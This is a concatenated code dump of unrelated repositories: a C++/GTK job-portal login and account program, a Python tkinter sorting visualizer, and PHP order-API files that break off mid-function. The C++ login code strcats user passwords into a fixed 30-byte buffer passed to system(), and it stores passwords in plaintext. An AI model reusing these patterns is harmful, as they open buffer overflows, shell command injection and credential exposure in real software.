(char*)gtk_entry_get_text((GtkEntry*)name); password=(char*)gtk_entry_get_text((GtkEntry*)passwd); //IF NOTHING IS ENTERED.... if (isNull(mailid)||isNull(password)) { dialog = gtk_message_dialog_new(GTK_WINDOW(data), GTK_DIALOG_DESTROY_WITH_PARENT, GTK_MESSAGE_INFO,GTK_BUTTONS_OK, "Data Not Entered"); gtk_window_set_title(GTK_WINDOW(dialog), "Information"); gtk_dialog_run(GTK_DIALOG(dialog)); gtk_widget_destroy(dialog); } else { f.open("usermaster.dat", ios::in); if (f.fail()) { system("clear"); cerr<<"Error in Opening File"; exit(0); } int flag=0; f.read((char*)&U,sizeof(U)); //CHECKING IF ACCOUNT IS ALREADY PRESENT FOR LOGGING IN.....IF IT IS FINE AFTER COMPARISON..."LOGIN IS SUCCESSFUL" ELSE "LOGIN FAILS" while(!f.eof()) { // f.read((char*)&U,sizeof(U)); if (strcmp(mailid,U.mailid)==0 && strcmp(password,U.password)==0) { dialog = gtk_message_dialog_new(GTK_WINDOW(data), GTK_DIALOG_DESTROY_WITH_PARENT, GTK_MESSAGE_INFO,GTK_BUTTONS_OK, "Login Success"); gtk_window_set_title(GTK_WINDOW(dialog), "Information"); gtk_dialog_run(GTK_DIALOG(dialog)); gtk_widget_destroy(dialog); flag=1; gtk_main_quit(); //g_signal_connect (data, " ", G_CALLBACK (delete_event), (gpointer)data); if (strcmp(U.mailid,"<EMAIL>")==0) { char s[30]="./portal Admin "; strcat(s, U.mailid); strcat(s," "); strcat(s,U.uname); strcat(s," "); strcat(s,U.password); system(s); } else if (strcmp(U.mailid,"<EMAIL>")==0) { char s[30]="./portal HR "; strcat(s, U.mailid); strcat(s," "); strcat(s,U.uname); strcat(s," "); strcat(s,U.password); system(s); } else { char s[30]="./portal Applicant "; strcat(s, U.mailid); strcat(s," "); strcat(s,U.uname); strcat(s," "); strcat(s,U.password); system(s); } break; } f.read((char*)&U,sizeof(U)); } f.close(); if (flag==0) { dialog = gtk_message_dialog_new(GTK_WINDOW(data), GTK_DIALOG_DESTROY_WITH_PARENT, GTK_MESSAGE_INFO,GTK_BUTTONS_OK, "Login Failed"); gtk_window_set_title(GTK_WINDOW(dialog), "Information"); gtk_dialog_run(GTK_DIALOG(dialog)); gtk_widget_destroy(dialog); } } } void Cancel(GtkWidget *widget, gpointer data) { gtk_main_quit(); } void ChangePassword(GtkWidget *widget, gpointer data) { gtk_main_quit(); system("./ForgotPassword"); } void CreateAccount(GtkWidget *widget, gpointer data) { g_print("Hai"); gtk_main_quit(); system("./CreateAccount"); } int main(int argc, char *argv[]) { GtkWidget *window; GtkWidget *table; GtkWidget *table1; GtkWidget *label1; GtkWidget *label2; GtkWidget *label3; GtkWidget *button; GtkWidget *button1; GtkWidget *button2, *button3, *button4; gtk_init(&argc, &argv); window = gtk_window_new(GTK_WINDOW_TOPLEVEL); gtk_window_set_position(GTK_WINDOW(window), GTK_WIN_POS_CENTER); gtk_window_set_default_size(GTK_WINDOW(window),220,150); gtk_window_set_title(GTK_WINDOW(window), "JUZZ TELL"); gtk_container_set_border_width(GTK_CONTAINER(window), 90); table = gtk_table_new(4, 2, TRUE); gtk_table_set_row_spacings(GTK_TABLE(table),4); gtk_table_set_col_spacings(GTK_TABLE(table),2); gtk_container_add(GTK_CONTAINER(window), table); label1 = gtk_label_new("User Name"); label2 = gtk_label_new("Password"); button1 = gtk_button_new_with_label("Sign In"); button2 = gtk_button_new_with_label("Cancel"); button3 = gtk_button_new_with_label("Forgot Password?"); button4 = gtk_button_new_with_label("New User? Create Account."); name = gtk_entry_new(); passwd = gtk_entry_new(); gtk_table_attach_defaults(GTK_TABLE(table), label1, 0, 1, 0, 1); gtk_table_attach_defaults(GTK_TABLE(table), label2, 0, 1, 1, 2); gtk_table_attach_defaults(GTK_TABLE(table), name, 1, 2, 0, 1); gtk_table_attach_defaults(GTK_TABLE(table), passwd, 1, 2, 1, 2); gtk_table_attach_defaults(GTK_TABLE(table), button1, 0, 1, 2, 3); gtk_table_attach_defaults(GTK_TABLE(table), button2, 1, 2, 2, 3); gtk_table_attach_defaults(GTK_TABLE(table), button3, 0, 1, 3, 4); gtk_table_attach_defaults(GTK_TABLE(table), button4, 1, 2, 3, 4); gtk_container_add(GTK_CONTAINER(window), table); //SIGNAL CONNECTIONS WHEN THE BUTTONS ARE CLICKED.... g_signal_connect (button1, "clicked", G_CALLBACK (SignIn), (gpointer)window); g_signal_connect (button2, "clicked", G_CALLBACK (Cancel), (gpointer)window); g_signal_connect (button3, "clicked", G_CALLBACK (ChangePassword), (gpointer)window); g_signal_connect (button4, "clicked", G_CALLBACK (CreateAccount), (gpointer)window); gtk_widget_show_all(window); g_signal_connect(window, "destroy", G_CALLBACK(gtk_main_quit), NULL); gtk_main(); } <file_sep>/*This is the file where all user-defined non member functions used for the package are used.Three important functions: Applicantportal(),HRportal(),Adminportal() are present which are called from the main throught the SignINProcess file(connected)...*/ //Header files used... #include<iostream> #include<fstream> #include<stdlib.h> #include<stdio.h> #include<string.h> #include<iomanip> using namespace std; //to update application status of candidate(CONCEPT :GLOBAL VARIABLE) int stat=0; class Jobseeker; struct NewUser { char uname[20],mailid[25],password[10]; }U; void appop1(Jobseeker); void appop2(Jobseeker); void applcngen(char[]); void appop3(); void PDFSelectList(); void PDFCandidateList(); void PDFJobList(); //including 2 files which are called in this file... #include "portalclass.cpp" #include "pdfwriter.cpp" //fn. used for random generation of application number... void applcngen(char applcn[8]) { long int a,n; char b,c; srand(time(NULL)); while(1) { n=random()%100; if(n>=65&&n<=90) { b=n; break; } } srand(time(NULL)); a=random(); //Converting the 6 digit randomly generated number into string and strcating using sprintf with the randomly generated character.... n=sprintf(applcn, "%c%ld",b,a%1000000); } void Applicantportal(char *CurmailID,char *Curname,char *Curpassword) { //CONCEPT:parameterised constructor Jobseeker j(CurmailID,Curname,Curpassword); //clrscr command using ANSI... cout<<"\033[2J\033[1;1H"; int op,flag=0; char ch; //CHECKING FOR ADPPLICATION ALREADY PRESENT OR NOT USING EMAIL_ID MATCH.... fstream f1; Jobseeker t; f1.open("candidates.dat",ios::in); //CONCEPT:FILE HANDLING EXCEPTION if (f1.fail()) { system("clear"); cerr<<"Error in Opening File"; exit(0); } f1.read((char *)&t,sizeof(t)); while(!f1.eof()) { if(strcmp(t.emailret(),j.emailret())==0) { cout<<j.emailret()<<"\t"<<t.applcn_noret()<<"\t"<<t.applcnstatret()<<endl<<endl; flag =1; stat=1; j=t; break; } f1.read((char *)&t,sizeof(t)); } if(flag==0) { cout<<j.emailret()<<"\t"<<"No applications submitted"<<endl<<endl; } f1.close(); do { // system("clear"); cout<<"\t1.Application Details and Status"<<endl<<endl; cout<<"\t2.Account Settings"<<endl<<endl; cout<<"\t3.Sign Out"<<endl<<endl; cout<<"\tOption : "; cin>>op; switch(op) { case 1: system("clear"); appop1(j); break; case 2: appop2(j); getchar(); break; case 3: break; default: cout<<"Invalid option"; std::getchar(); } // cout<<"\033[2J\033[1;1H"; }while(op!=3); } void appop1(Jobseeker j) { //clrscr using ANSI... cout<<"\033[2J\033[1;1H"; int key,option; do { // system("clear"); cout<<"1.Fill Form"<<endl<<endl; cout<<"2.View Form"<<endl<<endl; cout<<"3.Update Form"<<endl<<endl; cout<<"4.Delete Form"<<endl<<endl; cout<<"5.Application Status"<<endl<<endl; cout<<"6.Go back"<<endl<<endl; cout<<"Enter option : "; cin>>option; if(option==1) { if(stat==1) cout<<"Application already submitted"<<endl<<endl; else { j.fillform(); cout<<"\t1.SUBMIT"<<endl; cout<<"\t2.CANCEL"<<endl; cout<<"OPTION : "; cin>>key; //IF SUBMITTED WRITTEN THE RECORD INTO THE FILE ELSE NOTHING IS DONE.... if(key==1) { //CONCEPT:STATIC MEMBER FUNCTION CALLED... Jobseeker::incre(); stat=1; fstream f; f.open("candidates.dat",ios::out|ios::app); if (f.fail()) { system("clear"); cerr<<"Error in Opening File"; exit(0); } f.write((char *)&j,sizeof(Jobseeker)); f.close(); } else if(key==2); else cout<<"Invalid option"; } } else if(option==2) { if(stat==1) j.viewform(); else cout<<"No applications submitted"<<endl<<endl; } else if(option==3) { system("clear"); if(stat==0) cout<<"No appplications submitted"<<endl<<endl; else { //UPDATING THAT RECORD IN THE FILE.... j.updateform(); fstream f; ofstream f3("temp.dat"); Jobseeker k; f.open("candidates.dat",ios::in|ios::out); if (f.fail()) { system("clear"); cerr<<"Error in Opening File"; exit(0); } f.seekg(0); f.read((char *)&k,sizeof(k)); while(!f.eof()) { cout<<k.applcn_noret()<<endl<<j.applcn_noret()<<endl; if(strcmp(k.applcn_noret(),j.applcn_noret())==0) { //f.seekp(f.tellg()-sizeof(j),0); f3.write((char *)&j,sizeof(j)); } else f3.write((char*)&k,sizeof(k)); f.read((char *)&k,sizeof(k)); } f.close(); f3.close(); //SYSTEM COMMAND FOR REPLACING FILE system("mv temp.dat candidates.dat"); } } else if(option==4) { system("clear"); if(stat==0) cout<<"No applications submitted"<<endl<<endl; else { j.deleteform(); stat=0; //CONCEPT:STATIC MEMBER FUNCTION CALLED Jobseeker::decre(); } } else if(option==5) { j.appstatus(); } else if(option==6); else cout<<"Invalid option"<<endl; // std::getchar(); // system("clear"); // std::getchar(); }while(option!=6); } void appop2(Jobseeker j) { char ch,passwd[20],password1[10],password2[10]; system("clear"); cout<<"\tWant to change password? (y/n)"; cin>>ch; if(ch=='y') { //TILL CURRENT PASSWORD CORRECTLY MATCHES WITH THE ONE ALREADY STORED... do { cout<<"\tCURRENT PASSWORD : "; cin>>passwd; }while(strcmp(j.passwd,passwd)!=0); //TILL NEW PASSWORD AND RETYPE PASSWORD MATCHES.... do { cout<<"\n\tNEW PASSWORD : "; cin>>password1; cout<<"\n\tRETYPE PASSWORD : "; cin>>password2; }while(strcmp(password1,password2)!=0); strcpy(j.passwd,password1); cout<<j.passwd<<endl; //UPDATING PASSWORD IN THE FILE.... fstream f1,f2; f1.open("usermaster.dat",ios::in); if (f1.fail()) { system("clear"); cerr<<"Error in Opening File"; exit(0); } f1.read((char*)&U,sizeof(U)); f2.open("temp",ios::out); while(!f1.eof()) { if (strcmp(U.mailid,j.email_id)==0) { strcpy(U.password,<PASSWORD>); // f.seekp(-1*sizeof(U),ios_base::cur); // f2.write((char*)&U,sizeof(U)); cout <<"Updated"; } f2.write((char*)&U,sizeof(U)); f1.read((char*)&U,sizeof(U)); } f1.close(); f2.close(); system("mv temp usermaster.dat"); } } void HRPortal(char uname[],char umail[],char upass[]) { int op; //CONCEPT:PARAMETERISED CONSTRUCTOR USED... HRMan h(uname,umail,upass); JobRequirement j1; do{ system("clear"); cout<<"\t1.Add Job\n\n"; cout<<"\t2.Update Job\n\n"; cout<<"\t3.Delete Job\n\n"; cout<<"\t4.Display Job\n\n"; cout<<"\t5.Download as PDF\n\n"; cout<<"\t6.Sign out\n\n"; cout<<"Option : "; cin>>op; switch(op) { case 1: AddJob(h,j1); getchar(); getchar(); break; case 2: UpdateJob(h,j1); getchar(); getchar(); break; case 3: DeleteJob(h,j1); getchar(); getchar(); break; case 4: DisplayJob(h,j1); getchar(); getchar(); break; case 5: PDFJobList(); break; case 6: cout <<"Signing Out"; break; default: cout<<"Invalid Input"<<endl; } }while(op!=6); } void AdminPortal() { Admin *Ad; // Pointer Variable Ad = new Admin(); // Dynamic Memory Allocation int op; do{ system("clear"); cout<<"\t1.Update Threshold Value\n\n"; cout<<"\t2.Map Candidate and Job Requirement\n\n"; cout<<"\t3.Generate Reports\n\n"; cout<<"\t4.Sign out\n\n"; cout<<"Option : "; cin>>op; switch(op) { case 1: Ad->Fixthreshold(); getchar(); getchar(); break; case 2: Ad->Compute(); getchar(); getchar(); break; case 3: int t; cout <<"\t1.List of Candidates\n"; cout<<"\t2.Job List\n"; cout<<"\t3.Selected Candidates\n"; cout<<"Enter Choice"; cin >> t; switch (t) { case 1: Ad->CandidateReport(); break; case 2: Ad->JobReport(); break; case 3: Ad->SelectedReport(); break; default: cout <<"Invalid"; } } } while (op!=4); delete Ad; } //CONCEPT:COMMAND LINE ARGUMENT.... int main(int n, char *arg[30]) { if (n!=5) { cout <<"Invalid Arguments"; exit(0); } if (strcmp(arg[1],"Admin")==0) AdminPortal(); else if (strcmp(arg[1],"Applicant")==0) Applicantportal(arg[2],arg[3],arg[4]); else HRPortal(arg[2],arg[3],arg[4]); return 0; } <file_sep>/*This file is used for the creation of an account which again uses GTK...*/ //Necessary header files.... #include <gtk/gtk.h> #include<iostream> #include<fstream> #include <string.h> #include <stdlib.h> using namespace std; struct User { char uname[20],mailid[25],password[10]; }U; GtkWidget *entry1; GtkWidget *entry2; GtkWidget *entry3; GtkWidget *entry4; void Cancel(GtkWidget *widget, gpointer data) { gtk_main_quit(); } int isNull (char *x) { if (strlen(x)==0) return 1; else return 0; } //Including all validations.....the account is created...taking into account that the account might already exiast or data was not entered etc.... void Create(GtkWidget *widget, gpointer data) { fstream f; char *username,*mailid, *password, *repass; GtkWidget *dialog; username=(char*)gtk_entry_get_text((GtkEntry*)entry1); mailid= (char*)gtk_entry_get_text((GtkEntry*)entry2); password=(char*)gtk_entry_get_text((GtkEntry*)entry3); repass= (char*)gtk_entry_get_text((GtkEntry*)entry4); if (isNull(username)|| isNull(mailid)||isNull(password)||isNull(repass)) { dialog = gtk_message_dialog_new(GTK_WINDOW(data), GTK_DIALOG_DESTROY_WITH_PARENT, GTK_MESSAGE_INFO,GTK_BUTTONS_OK, "Data Not Entered"); gtk_window_set_title(GTK_WINDOW(dialog), "Information"); gtk_dialog_run(GTK_DIALOG(dialog)); gtk_widget_destroy(dialog); } else if (strcmp(password,repass)!=0) { dialog = gtk_message_dialog_new(GTK_WINDOW(data), GTK_DIALOG_DESTROY_WITH_PARENT, GTK_MESSAGE_INFO,GTK_BUTTONS_OK, "Password Incorrect"); gtk_window_set_title(GTK_WINDOW(dialog), "Information"); gtk_dialog_run(GTK_DIALOG(dialog)); gtk_widget_destroy(dialog); } else { // f.open("usermaster.dat",ios::out); // strcpy(U.uname,"Administrator"); // strcpy(U.mailid,"<EMAIL>"); // strcpy(U.password,"<PASSWORD>"); // f.write((char*)&U,sizeof(U)); //f.close(); f.open("usermaster.dat", ios::in); if (f.fail()) { system("clear"); cerr<<"Error in Opening File"; exit(0); } int flag=0; f.read((char*)&U,sizeof(U)); while(!f.eof()) { // f.read((char*)&U,sizeof(U)); printf("hai"); if (strcmp(mailid,U.mailid)==0) { dialog = gtk_message_dialog_new(GTK_WINDOW(data), GTK_DIALOG_DESTROY_WITH_PARENT, GTK_MESSAGE_INFO,GTK_BUTTONS_OK, "Already Exists"); gtk_window_set_title(GTK_WINDOW(dialog), "Information"); gtk_dialog_run(GTK_DIALOG(dialog)); gtk_widget_destroy(dialog); flag=1; printf("Hello"); break; } f.read((char*)&U,sizeof(U)); } f.close(); if (flag==0) { f.open("usermaster.dat",ios::out|ios::app); if (f.fail()) { system("clear"); cerr<<"Error in Opening File"; exit(0); } f.seekp(0,ios_base::end); strcpy(U.uname,username); strcpy(U.password,<PASSWORD>); strcpy(U.mailid,mailid); f.write((char*)&U,sizeof(U)); f.close(); dialog = gtk_message_dialog_new(GTK_WINDOW(data), GTK_DIALOG_DESTROY_WITH_PARENT, GTK_MESSAGE_INFO,GTK_BUTTONS_OK, "Account Created"); gtk_window_set_title(GTK_WINDOW(dialog), "Information"); gtk_dialog_run(GTK_DIALOG(dialog)); gtk_widget_destroy(dialog); gtk_main_quit(); } } } int main(int argc, char *argv[]) { GtkWidget *window; GtkWidget *table; GtkWidget *label1; GtkWidget *label2; GtkWidget *label3; GtkWidget *label4; GtkWidget *button1, *button2; gtk_init(&argc, &argv); window = gtk_window_new(GTK_WINDOW_TOPLEVEL); gtk_window_set_position(GTK_WINDOW(window), GTK_WIN_POS_CENTER); gtk_window_set_title(GTK_WINDOW(window), "CREATE ACCOUNT"); gtk_container_set_border_width(GTK_CONTAINER(window), 90); table = gtk_table_new(5, 2, FALSE); gtk_container_add(GTK_CONTAINER(window), table); label1 = gtk_label_new("Name"); label2 = gtk_label_new(" Mail Id"); label3 = gtk_label_new(" Password"); label4 = gtk_label_new("\t Retype Password"); gtk_table_attach_defaults(GTK_TABLE(table), label1, 0, 1, 0, 1); gtk_table_attach_defaults(GTK_TABLE(table), label2, 0, 1, 1, 2); gtk_table_attach_defaults(GTK_TABLE(table), label3, 0, 1, 2, 3); gtk_table_attach_defaults(GTK_TABLE(table), label4, 0, 1, 3, 4); entry1 = gtk_entry_new(); entry2 = gtk_entry_new(); entry3 = gtk_entry_new(); entry4 = gtk_entry_new(); gtk_table_attach_defaults(GTK_TABLE(table), entry1, 1, 2, 0, 1); gtk_table_attach_defaults(GTK_TABLE(table), entry2, 1, 2, 1, 2); gtk_table_attach_defaults(GTK_TABLE(table), entry3, 1, 2, 2, 3); gtk_table_attach_defaults(GTK_TABLE(table), entry4, 1, 2, 3, 4); button1 = gtk_button_new_with_label("Create"); button2 = gtk_button_new_with_label("Cancel"); gtk_table_attach_defaults(GTK_TABLE(table), button1, 0, 1, 4, 5); gtk_table_attach_defaults(GTK_TABLE(table),button2, 1, 2, 4, 5); //When button is clicked.... g_signal_connect (button1, "clicked", G_CALLBACK (Create), (gpointer)window); g_signal_connect (button2, "clicked", G_CALLBACK (Cancel), (gpointer)window); gtk_widget_show_all(window); g_signal_connect(window, "destroy",G_CALLBACK(gtk_main_quit), NULL); gtk_main(); return 0; }
db32a48dc7bc30646a5443c7e1d0f3980bbfa129
[ "Markdown", "C++" ]
7
Markdown
Shubha32/Juzz-Tell
99de6dfa34248e850cc0aa71e75cd9b1ed0a3566
e0602df637c79db519d0e275caec46c099fd98f6
refs/heads/main
<repo_name>Pratyush-Jain/sorting-visualizer<file_sep>/README.md # sorting-visualizer A python based sorting visualizer <file_sep>/Visualizer.py from tkinter import * from tkinter import font import tkinter.font as font from tkinter import ttk import random import time class Alg: def bubbleSort(data): for i in range(len(data)-1): for j in range(len(data)-1): if data[j] > data[j+1]: data[j], data[j+1] = data[j+1], data[j] drawData(data,bar=[j+1],barColor='red') time.sleep(0.01) def insertionSort(data): for i in range(1,len(data)): val = data[i] while val<data[i-1] and i>0: drawData(data,bar=[i],barColor='red') data[i],data[i-1]= data[i-1],data[i] time.sleep(.001) drawData(data,bar=[i+1],barColor='black') time.sleep(.005) i-=1 def merge(a, l, m, r): n1 = m - l + 1 n2 = r - m L = [0] * n1 R = [0] * n2 for i in range(0, n1): L[i] = a[l + i] for i in range(0, n2): R[i] = a[m + i + 1] i, j, k = 0, 0, l while i < n1 and j < n2: if L[i] > R[j]: a[k] = R[j] j += 1 else: a[k] = L[i] i += 1 k += 1 time.sleep(.001) drawData(a) while i < n1: a[k] = L[i] i += 1 k += 1 time.sleep(.001) drawData(a) while j < n2: a[k] = R[j] j += 1 k += 1 time.sleep(.001) drawData(a) def mergeSort(a): current_size = 1 # Outer loop for traversing Each # sub array of current_size while current_size < len(a) - 1: left = 0 # Inner loop for merge call # in a sub array # Each complete Iteration sorts # the iterating sub array while left < len(a)-1: # mid index = left index of # sub array + current sub # array size - 1 mid = min((left + current_size - 1),(len(a)-1)) # (False result,True result) # [Condition] Can use current_size # if 2 * current_size < len(a)-1 # else len(a)-1 right = ((2 * current_size + left - 1, len(a) - 1)[2 * current_size + left - 1 > len(a)-1]) # Merge call for each sub array Alg.merge(a, left, mid, right) left = left + current_size*2 # Increasing sub array size by # multiple of 2 current_size = 2 * current_size def selectionSort(data): for i in range(len(data)): minIndex = i #drawData(data,bar=[i],barColor='black') for j in range(i+1,len(data)): if data[minIndex]>data[j]: minIndex = j drawData(data,bar=[minIndex],barColor='red') time.sleep(.001) data[minIndex],data[i] = data[i],data[minIndex] time.sleep(.001) def heapSort(data): pass def quickSort(data,start=0,end=None): if end is None: end = len(data)-1 def partition(data,start,end): i = start-1 pi = data[end] for j in range(start,end): if data[j]<pi: i+=1 data[i],data[j]= data[j],data[i] time.sleep(.001) drawData(data,bar=[j]) # bring the pivot to correct position data[end],data[i+1] = data[i+1],data[end] time.sleep(.001) #drawData(data) return(i+1) if start<end: time.sleep(.001) pivot = partition(data,start,end) drawData(data,bar=[pivot],barColor='black') time.sleep(0.001) Alg.quickSort(data,start,pivot-1) time.sleep(0.001) Alg.quickSort(data,pivot+1,end) root = Tk() root.title('Sorting Algorithm Visualization') root.geometry("600x600") root.config(bg='#322f3d') root.resizable(0,0) OPTIONS={ 'Bubble Sort' : Alg.bubbleSort, 'Insertion Sort' : Alg.insertionSort, 'Merge Sort' : Alg.mergeSort, 'Selection Sort' : Alg.selectionSort, 'Heap Sort' : Alg.heapSort, 'Quick Sort' : Alg.quickSort } # Widgets frame_set = Frame(master=root,background='#4b5d67') frame_set.pack(padx=10,pady=10) frame_viz = Frame(master=root) frame_viz.pack() #'#93baba' canvas = Canvas(frame_viz,width=600,height=505,bg='white') canvas.pack() # Combobox click callback function def callback(event): randomize() def randomize(): global Algorithm,data Algorithm = option.get() data = random.sample(range(1,100),99) drawData(data) def sort(): btn_randomize["state"] = DISABLED global data,Algorithm if not data: return Algo = OPTIONS[option.get()] Algo(data) drawData(data,'#86ff61') btn_randomize["state"] = NORMAL # Draw the data on screen def drawData(data,color= '#407d7d',bar=[],barColor='red'): canvas.delete("all") c_height = 505 c_width = 600 x = c_width/(len(data)) normalizedData = [ i / max(data) for i in data] for i, height in enumerate(normalizedData): if i in bar: canvas.create_line(i*x,c_height-height*500,i*x,c_height,width=3,fill=barColor) else: canvas.create_line(i*x,c_height-height*500,i*x,c_height,width=3,fill=color) root.update() lbl_algo = Label(frame_set,text='Algorithm:',background='#4b5d67',foreground='white') option = ttk.Combobox(frame_set,values=list(OPTIONS.keys()),state='readonly') option.current(0) option.bind("<<ComboboxSelected>>",callback) style = ttk.Style() style.map('TCombobox', focusfill=[('readonly','#505050')]) style.map('TCombobox', selectbackground=[('readonly', '#505050')]) style.map('TCombobox', selectforeground=[('readonly', 'white')]) #Set the color of dropdown list bg root.option_add('*TCombobox*Listbox.background','#505050') # Dropdown list text color root.option_add('*TCombobox*Listbox.foreground','white') btn_randomize = Button(master=frame_set,text='Randomize',padx=10,pady=10,command=randomize) btn_sort = Button(master=frame_set,text='Sort',padx=10,pady=10,command=sort) # Configs btn_font = font.Font(size=16) btn_randomize['font']= btn_font btn_sort['font'] = btn_font # Geometry Management lbl_algo.pack(side='left',padx=5,pady=5) option.pack(side='left',padx=5,pady=5) btn_randomize.pack(side='left',padx=5,pady=5) btn_sort.pack(side='left',padx=5,pady=5) randomize() root.mainloop()
dd6eceb9d32de19b3173cbf7c24de5c18972e1c8
[ "Markdown", "Python" ]
2
Markdown
Pratyush-Jain/sorting-visualizer
fc1dc46ce31428d367a4b31dd2308696005f4138
db8eb8dcbda059afe533b6469e3d80ae2e39faf1
refs/heads/master
<repo_name>DTEGlobal/WatchdogServer<file_sep>/main.py __author__ = 'Cesar' #------------------------------------------------------------------------------- # Name: main # Purpose: This process run the Server and Killer processes of the Watchdog, # it also reads the configuration parameters: # 1. Number of threads to check. # 2. Watchdog timeout. # # Author: <NAME> # # Created: 10/02/2013 # Copyright: (c) Cesar 2013 # Licence: <your licence> #------------------------------------------------------------------------------- import threading import logging from Killer import Killer from Server import Server logging.basicConfig(format='%(asctime)s - [%(levelname)s]: %(message)s', filename='/home/pi/logs/watchdogServer.log', level=logging.INFO) logging.info('Watchdog main - Started') ServerThread = threading.Thread(target=Server) ServerThread.daemon = True ServerThread.start() KillerThread = threading.Thread(target=Killer) KillerThread.daemon = True KillerThread.start() while True: a = 0 # Do nothing <file_sep>/Server.py __author__ = 'Cesar' #------------------------------------------------------------------------------- # Name: Server # Purpose: This process sets the client thread dictionary with UUID and update # time upon connection from a client. # # Max number of concurrent clientsThreads = 16 # # Author: <NAME> # # Created: 10/02/2013 # Copyright: (c) Cesar 2013 # Licence: <your licence> #------------------------------------------------------------------------------- from socket import * import logging global clientThreads clientThreads = dict() #------------------------------------------------------------------------------- # Method: Server # Purpose: This process sets the client thread dictionary with UUID and update # time upon connection from a client. # Author: <NAME> # # Created: 10/02/2013 #------------------------------------------------------------------------------- def Server(): s = socket(AF_INET, SOCK_STREAM) s.bind(('', 8080)) s.listen(16) logging.info("Watchdog Server started") while True: # 1. Wait for client connection. Upon connection get data conn, IP = s.accept() data = conn.recv(1024).decode("utf-8") conn.close() # 2. Update dictionary. Check if the UUID of the client is already on. UUID, time = data.split(',') logging.debug("Watchdog Server - Client [%s] Time [%s]", UUID, time) # If UUID already exists, update the time if not it creates a new entry clientThreads[UUID] = time <file_sep>/Killer.py __author__ = 'Cesar' #------------------------------------------------------------------------------- # Name: Killer # Purpose: This process feeds the hardware Watchdog if all the client # processes reported on time # # Author: <NAME> # # Created: 10/02/2013 # Copyright: (c) Cesar 2013 # Licence: <your licence> #------------------------------------------------------------------------------- import Server import time import os import logging #------------------------------------------------------------------------------- # Method: StartWatchdog # Purpose: Disable Watchdog timer. Platform dependant. 'V' is a magic character # that will disable the watchdog # Author: CCR, JC # # Created: 10/02/2013 #------------------------------------------------------------------------------- def DisableWatchdog(): # Specific for Raspberry PI os.system('echo V > /dev/watchdog') logging.info("Watchdog disabled") #------------------------------------------------------------------------------- # Method: StartWatchdog # Purpose: Start Watchdog timer. Platform dependant # Author: CCR, JC # # Created: 10/02/2013 #------------------------------------------------------------------------------- def StartWatchdog(): # Specific for Raspberry PI os.system("sudo chmod 777 /dev/watchdog") os.system('echo bone > /dev/watchdog') logging.info("Watchdog started") #------------------------------------------------------------------------------- # Method: FeedWatchdog # Purpose: Restart Watchdog timer. Platform dependant # Author: CCR, JC # # Created: 10/02/2013 #------------------------------------------------------------------------------- def FeedWatchdog(): os.system('echo bone > /dev/watchdog') logging.debug(" =) Nooom - Nooom") #------------------------------------------------------------------------------- # Method: Killer # Purpose: This process feeds the hardware Watchdog if all the client # processes reported on time # Author: CCR, JC # # Created: 10/02/2013 #------------------------------------------------------------------------------- def Killer(): # 1. Get configuration parameters from main (# of threads and timeout) numberOfClients = 2 timeout = 180 notEnoughClientsTimeout = 0 # 2. Start Hardware Watchdog (platform dependant?) StartWatchdog() while True: time.sleep(1) kill = False # 3. Compare table size (table set by server) with # of threads if len(Server.clientThreads) == numberOfClients: # Number of clients reached notEnoughClientsTimeout = 0 # 4. Compare each thread time entry with system time and timeout for id in Server.clientThreads.keys(): currentTime = time.time() if currentTime - float(Server.clientThreads[id]) > timeout: kill = True break else: if notEnoughClientsTimeout >= timeout: kill = True else: kill = False notEnoughClientsTimeout += notEnoughClientsTimeout # 5. If all of the above was OK, feed Watchdog. if kill == False: FeedWatchdog() else: logging.info("Watchdog Killer -> =( ")
d7fb19803600a03cc8c59547b9984a7783258297
[ "Python" ]
3
Python
DTEGlobal/WatchdogServer
567e8634e0c63ca29bd248974e7c450a370b2f9f
acf31818e4e1fac07448a109e955376b971a53ca
refs/heads/master
<file_sep><?php /** * 查询订单 * @category CUK-BSS * @package order * @copyright 2016 iredpure * @author CJ <[<EMAIL>]> * @version v1.0 [2016-03-08 19:29:50] * @note 错误码使用范围 3030-3040 8030-8040 */ /** * 查询订单 * @param [type] $core [description] * @return [type] [description] */ function pageApiGetorderinfo(& $core) { switch ($core->action) { case 'getdetail': $filter = $core->getFilter(); $memberOrder = $core->subCore->initMemberOrder(); $memberOrderID = (int)$filter['MemberOrderID']; if (!$memberOrderID) { return MemberOrder::errorReturnData('3030','无法获取到用户订单编号'); } $memberOrderDetail = (array)$memberOrder->getMemberOrderDetail($memberOrderID); $data = array('memberOrderDetail'=>$memberOrderDetail); return MemberOrder::successReturnData($data); break; case 'getlist': $filter = $core->getFilter(); $memberOrder = $core->subCore->initMemberOrder(); $condition['MemberOrderID'] = (int)$filter['MemberOrderID'] ? (int)$filter['MemberOrderID'] : null; $condition['MemberOrderStatusID'] = $filter['MemberOrderStatusID']; $memberOrderCount = $memberOrder->getMemberOrderCount($pager, $condition); $memberOrderList = $memberOrder->getMemberOrderList($pager, $condition, $sort); $data = array('memberOrderCount'=>$memberOrderCount, 'memberOrderList'=>$memberOrderList); return MemberOrder::successReturnData($data); break; default: exit('请使用 getdetail 和 getlist 接口'); break; } } ?> <file_sep><?php /** * 子系统控制层controllers示例文件 * * @author Chuanjin * @version v1.0 2016-03-01 * */ function pageDemoDemo(& $core) { switch($core->action) { case 'value': #test break; default: #POST获取数据 $filter = $core->getFilter(); #GET获取数据 $passportID = $core->request->get('passportid'); #实例化操作类。 $demo = $core->subCore->initDemo();//该init操作在 子系统下的common文件夹下的SubCore文件中定义。 #使用类获取数据。 $passportDetail = $demo->getPassportDetail($passportID); if(!is_array($passportDetail) || count($passportDetail) == 0){ #跳转到报错页面,其中 Get_PassportDetail_Failed 需要录入数据库中的 PromptMessage 表。 return $core->setErrTpl('Get_PassportDetail_Failed','/demo/demo.php'); } else { #smarty赋值到页面上 $core->setTplVar('PassportList', $passportList); } #如果需要提示成功信息 return $core->setMsgTpl('Get_PassportDetail_Success'); break; } } ?> <file_sep><?php /** * 处理采购订单 初审通过、失败、复审通过、失败。 * @category CUK-BSS * @package order * @copyright 2016 iredpure * @author CJ <[<EMAIL>]> * @version v1.0 [2016-03-08 19:29:50] */ /** * 查询采购订单 * @param [type] $core [description] * @return [type] [description] */ /*ini_set('display_errors', true); error_reporting(E_ALL);*/ function pageApiAgentHandleorder(& $core) { switch ($core->action) { case 'verifysuccess': // 初审通过 $filter = $core->getFilter(); $agentOrder = $core->subCore->initAgentOrder(); $agentPurchaseOrderID = (int)$filter['AgentPurchaseOrderID']; $warehouseID = (int)$filter['WarehouseID']; $verifyInfo = $filter['VerifyInfo']; $adminID = $verifyInfo['AdminID']; if ($warehouseID <= 0) { 